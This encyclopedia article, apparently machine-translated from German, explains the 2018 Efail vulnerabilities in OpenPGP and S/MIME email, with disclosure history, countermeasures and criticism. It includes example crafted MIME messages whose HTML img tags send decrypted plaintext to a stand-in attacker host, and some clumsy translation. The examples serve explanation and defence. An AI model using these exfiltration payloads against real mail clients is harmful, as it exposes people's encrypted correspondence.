Efail
| EFAIL | |
|---|---|
|
|
| Type | software |
| CVE number (s) | |
| Date of discovery | November 24, 2017 |
| Release Date | May 13, 2018 |
| Products) | |
Efail ( spelling : EFAIL) are two security gaps in e-mail systems with which content can be read despite end-to-end encryption . The gaps can be exploited in the two common formats OpenPGP and S / MIME . As a result of the security gaps, attackers can channel the plain text of encrypted e-mails from affected e-mail clients after decryption and transfer it to a server they control. The keys used are not disclosed. A prerequisite for a successful attack is that the encryption method used is vulnerable and the e-mail program executes active content such as HTML or JavaScript and reloads external content.
The vulnerabilities were submitted and made public by Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky and Jörg Schwenk on May 13, 2018 as a contribution to the 27th USENIX Security Symposium, Baltimore, August 2018.
description
Attacker model
For a successful attack, the attacker needs access to the emails to be attacked in their encrypted representation. This can e.g. This could be due, for example, to a lack of transport encryption (see e.g. Transport Layer Security ) or a successful attack on the email provider. In addition, an attacker must be able to send a modified variant of the e-mail to at least one vulnerable regular recipient of this e-mail or to modify it during transport to it or at its storage location.
Variant 1 - malleability gadgets
In the first variant of efail, the malleability gadget attack (from English malleability 'formability' and gadget , German 'device'), the attacker makes targeted changes to the ciphertext in order to insert new plain text blocks into an encrypted e-mail. This variant of the attack requires that the encryption system does not use any measures against changes to the ciphertext, such as message authentication codes or a modification detection code (MDC) . Such changes can then be made without knowing the private key.
The resulting plain text then contains new text, such as As a HTML - <IMG>sends tag in its processing of e-mail client to plain text e-mail to an attacker.
- Example of an S / MIME message modified by malleability gadgets
After modification by the attacker, an encrypted S / MIME message has the following structure (the character |is used to illustrate the AES block boundaries):
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
smime-type=enveloped-data;
name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="smime.p7m"
|attackertextatta|ckertextattacker|
|textattackertext|attackertextatta|ckertextattacker|textattackertext|ENCRYPTEDMESSAGE|attackertextatta|
After decrypting the modified message, the e-mail client receives the following plain text, for example:
|Content-type: te|xt/html |
|<img ignore="|????????????????|" src="atta.ck/|????????????????|GEHEIMENACHRICHT|"> |
The gadget attack results in random bytes (marked with "?") Being produced in clear text. In the example above, these are commented out using the non-existent "ignore" attribute in order to avoid parsing errors. The e-mail client then unintentionally sends the secret plain text to the attacker when the image is reloaded. The malleability gadget attack affects all forms of encryption according to the S / MIME standard, as this does not specify any protection against changes to the ciphertext up to the current version 3.2 (2018). When encrypting with OpenPGP, an MDC with all current encryption methods is used as standard, but is not mandatory. The standard also leaves the handling of missing or incorrect MDCs to the implementation.
Variant 2 - direct exfiltration
The second variant, direct exfiltration , is based on an incorrect implementation of the MIME standard in e-mail clients and does not directly affect S / MIME or OpenPGP. An attacker inserts specific additions into the encrypted e-mail before and after the encrypted text and thus changes the message in such a way that, on the one hand, a multi-part message is created according to the MIME standard (multipart / mixed) and, on the other hand, the encrypted part of the Message appears as a parameter value of an HTML tag together with the boundary markings of the MIME message :
- Example of an S / MIME message modified for direct exfiltration
Content-Type: multipart/mixed; boundary="BOUNDARY"
--BOUNDARY
Content-Type: text/html
<img src="http://attacker.chosen.url/
--BOUNDARY
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
smime-type=enveloped-data;
name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="smime.p7m"
ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE…
--BOUNDARY
Content-Type: text/html
">
--BOUNDARY--
The e-mail client first breaks down the multi-part message BOUNDARYinto its individual parts using the markings and then decrypts the encrypted parts. He then reassembles the multi-part message so that all parts can be displayed in a common window. The resulting HTML code is thus:
[...]
<img src="http://attacker.chosen.url/
GEHEIMENACHRICHTGEHEIMENACHRICHTGEHEIMENACHRICHTGEHEIMENACHRICHT
">
[...]
Transmission of the clear text to the attacker
In these messages, the decrypted content of the email is now in the src=attribute of the <img>HTML tag and is transferred by the email program as a URL to the web server controlled by the attacker when this content is requested attacker.chosen.url. The attacker can now take the content of the encrypted message from the log files, for example .
Countermeasures (workaround)
Since the security gaps are directed against the content of the email and not against a single recipient, it is necessary that all recipients implement suitable countermeasures.
Aggravating countermeasures include:
- Deactivating active content such as HTML or JavaScript when displaying emails.
- Suppression of the automatic reloading of external content, such as B. Pictures.
To what extent the senders of encrypted content can also reduce the vulnerability, e.g. B. by electronic signatures , has not yet been finally clarified.
Since S / MIME in its current form does not offer any possibility to protect an email from changes, it is unclear how one should deal with received (and potentially changed) data.
solution
The debate triggered by efail led to an accelerated further development of the S / MIME standard . In April 2019, S / MIME Version 4.0 was published as RFC 8551 , which also mentions Efail by name. RFC 8551 recommends switching to AES - GCM as soon as possible .
criticism
In the announcement of the security vulnerability on May 13, 2018, the Electronic Frontier Foundation (EFF) recommended avoiding PGP plugins in email programs for the time being. The publication should have been voted on May 15th. This approach has often been criticized or discussed controversially. A shit storm has developed against the EFF in social networks . In an essay, Robert Hansen recommends a closed group, e.g. B. in the form of a mailing list, in order to be able to better coordinate future publications of security gaps in advance. Despite his annoyance about the EFF, he regards it as the best body to administer such an OpenPGP Disclosure Group and specifically addresses its director, Danny O'Brien.
literature
- Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky and Jörg Schwenk: Efail: Breaking S / MIME and OpenPGP Email Encryption using Exfiltration Channels . (English, efail.de [PDF]).
Web links
- efail.de: Homepage of the security hole
- "Efail" vulnerabilities: what you should know now - Federal Office for Information Security
- Daniel Kahn Gillmor: E-Mail Encryption and Security Nihilism - Digital Courage
Individual evidence
- ↑ Shaw, David, Donnerhacke, Lutz, Thayer, Rodney, Finney, Hal, Callas, Jon: OpenPGP Message Format. Retrieved August 2, 2018 .
- ↑ a b Carsten Eilers: EFAIL: Attack on encrypted mails - How does EFAIL work and how bad is it all really? In : entwickler.de. Software & Support Media GmbH, December 27, 2018, accessed on March 29, 2019 .
- ↑ EFF on Twitter . In: Twitter . May 13, 2018 (English, twitter.com [accessed on May 17, 2018]): "To protect yourself, EFF highly recommends that for now you uninstall or disable your PGP email plug-in."
- ^ Danny O'Brien and Gennie Gebhart: Attention PGP Users: New Vulnerabilities Require You To Take Action Now . Ed .: Electronic Frontier Foundation. May 13, 2018 (English, eff.org [accessed May 17, 2018]).
- ↑ heise online: Comment: Efail is an EFFail. May 16, 2018. Retrieved May 17, 2018 .
- ↑ heise Security: Interview with Enigmail chief developer: Efail publication was "rash". May 15, 2018. Retrieved May 17, 2018 .
- ↑ Werner Koch (OpenPGP): Efail or OpenPGP is safer than S / MIME. In: gnupg-users. May 14, 2018, accessed May 17, 2018 .
- ^ Matthew Green: Was the Efail disclosure horribly screwed up? In: A Few Thoughts on Cryptographic Engineering . May 17, 2018 (English, cryptographyengineering.com [accessed May 17, 2018]).
- ↑ Hashtag #EFFail on Twitter. Retrieved May 17, 2018 .
- ↑ Robert Hansen: Efail: A Postmortem. In: medium.com. May 20, 2018. Retrieved May 21, 2018 .